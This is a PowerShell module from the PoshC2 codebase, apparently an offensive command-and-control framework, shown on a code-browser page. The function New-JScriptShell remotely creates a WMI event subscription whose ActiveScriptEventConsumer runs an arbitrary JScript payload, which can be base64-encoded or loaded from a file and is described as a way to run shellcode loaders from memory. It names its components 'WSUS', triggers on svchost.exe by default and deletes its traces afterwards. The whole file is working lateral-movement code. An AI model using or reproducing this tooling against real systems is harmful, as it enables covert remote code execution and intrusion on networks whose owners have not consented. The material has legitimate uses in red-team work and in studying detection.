Codebase list poshc2 / 39f6cef resources / modules / New-JScriptShell.ps1
39f6cef

Tree @39f6cef (Download .tar.gz)

New-JScriptShell.ps1 @39f6cefraw · history · blame

function New-JScriptShell {
    <#
    .SYNOPSIS 
    Deploy a wmi event subscription remotely, using the ActiveScriptEventConsumer

    Author: Christopher Ross (@xorrior)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

    .DESCRIPTION
    This script can be used to remotely (or locally) deploy a wmi event subscription with an ActiveScriptEventConsumer. This is not a new technique
    except for the fact that @tirannido recently released a really interesting method that would allow for dynamic loading of a csharp assembly entirely from memory within a jscript file.
    We can use this technique to remotely deploy csharp assemblies without writing to disk (i.e. SharpPick for powershell, a shellcode loader, .etc). The trigger to deploy
    this consumer is a Win32_ProcessStartTrace event for the process specified. Once the event has occurred, the JScript payload will be executed. All components of the Wmi subscription will
    be cleaned up.

    .PARAMETER Target
    Host to target. Do not use for localhost.

    .PARAMETER Domain
    Domain for a PSCredential object to be used with the Set-WmiInstance cmdlet.

    .PARAMETER Username
    Username for a PSCredential object to be used with the Set-WmiInstance cmdlet.

    .PARAMETER Password
    The password for a PSCredential object to be used with the Set-WmiInstance cmdlet.

    .PARAMETER ConsumerName
    The name of the ActiveScriptEventConsumer

    .PARAMETER FilterName
    The name of the EventFilter

    .PARAMETER JScriptPath
    Path to the jscript file to use as the payload. If not used, the inline JScript payload will be used.

    .PARAMETER ProcessName
    Name of the process to execute and trigger the payload

    .EXAMPLE

    Execute the JScript payload on a remote host with 'notepad.exe' as the trigger process

    New-JScriptShell -Target '192.168.1.7' -ProcessName 'notepad.exe' 

    .EXAMPLE

    Execute the JScript payload from a file path on a remote host, with credentials, with 'calc.exe' as the trigger process.

    New-JScriptShell -Target '192.168.1.7' -Domain Test -Username 'Administrator' -Password 'P@ssw0rd' -ProcessName 'scvhost.exe'

    #>
    [CmdletBinding(DefaultParameterSetName = 'None')]
    param
    (
        [Parameter(Mandatory = $false, ValueFromPipeline = $true)]
        [ValidateNotNullOrEmpty()]
        [string]$Target,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Domain,

        [Parameter(Mandatory = $false, ParameterSetName = "Credentials")]
        [ValidateNotNullOrEmpty()]
        [string]$Username,

        [Parameter(Mandatory = $false, ParameterSetName = "Credentials")]
        [ValidateNotNullOrEmpty()]
        [string]$Password,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$ConsumerName = 'WSUS',

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$FilterName = 'WSUS',

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [ValidateScript({Test-Path -Path $_})]
        [string]$JScriptPath,

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$ProcessName = 'svchost.exe', 

        [Parameter(Mandatory = $false)]
        [ValidateNotNullOrEmpty()]
        [string]$Payload        
    )
    $wmiArgs = @{}
    $commonArgs = @{}

    if ($Domain) {
        $Username = $Domain + "\" + $Username
    }

    if ($Payload) {
        $Payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Payload))  
    }
    
    #Assign credentials and computer name if used
    if ($PSCmdlet.ParameterSetName -eq "Credentials" -and $PSBoundParameters['Target']) {
        $securePassword = $Password | ConvertTo-SecureString -AsPlainText -Force
        $commonArgs['Credential'] = New-Object System.Management.Automation.PSCredential $Username,$securePassword
    }

    if($PSBoundParameters['Target']) {
        $commonArgs['ComputerName'] = $Target
    }

    if ($PSBoundParameters['JScriptPath']) {
        $Payload = [System.IO.File]::ReadAllText($JScriptPath)
    }

    #setup the event filter
    $Query = "SELECT * FROM Win32_ProcessStartTrace where processname ='$ProcessName'"
    $EventFilterArgs = @{
        EventNamespace = 'root/cimv2'
        Name = $FilterName
        Query = $Query
        QueryLanguage = 'WQL'
    }

    echo "[*] Creating the WMI filter"
    $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $EventFilterArgs @commonArgs
    #setup the ActiveScriptEventConsumer
    $ActiveScriptEventConsumerArgs = @{
        Name = $ConsumerName
        ScriptingEngine = 'JScript'
        ScriptText = $Payload
    }
    Start-Sleep -Seconds 5
    echo "[*] Creating the WMI consumer"
    $Consumer =  Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments $ActiveScriptEventConsumerArgs @commonArgs

    $FilterToConsumerArgs = @{
        Filter = $Filter
        Consumer = $Consumer
    }
    Start-Sleep -Seconds 5
    echo "[*] Creating the WMI filter to consumer binding"
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs @commonArgs

    echo "[+] Executing process trigger"
    Start-Sleep -Seconds 5
    $result = Invoke-WmiMethod -Class Win32_process -Name Create -ArgumentList "$ProcessName" @commonArgs
    if ($result.returnValue -ne 0) {
        echo "[-] Trigger process was not started"
        break
    }

    Start-Sleep -Seconds 5
    $EventConsumerToCleanup = Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer -Filter "Name = '$ConsumerName'" @commonArgs
    $EventFilterToCleanup = Get-WmiObject -Namespace root\subscription -Class __EventFilter -Filter "Name = '$FilterName'" @commonArgs
    $FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root\subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" @commonArgs
    
    $EventConsumerToCleanup | Remove-WmiObject
    $EventFilterToCleanup | Remove-WmiObject
    $FilterConsumerBindingToCleanup | Remove-WmiObject

    $OutputObject = New-Object -TypeName PSObject 
    $OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'Target' -Value $Target
    $OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'FilterName' -Value $FilterName
    $OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ConsumerName' -Value $ConsumerName
    $OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'ProcessTrigger' -Value $ProcessName
    $OutputObject | Add-Member -MemberType 'NoteProperty' -Name 'Query' -Value $Query

    $OutputObject

    echo "[+] Cleaning up the subscriptions"

}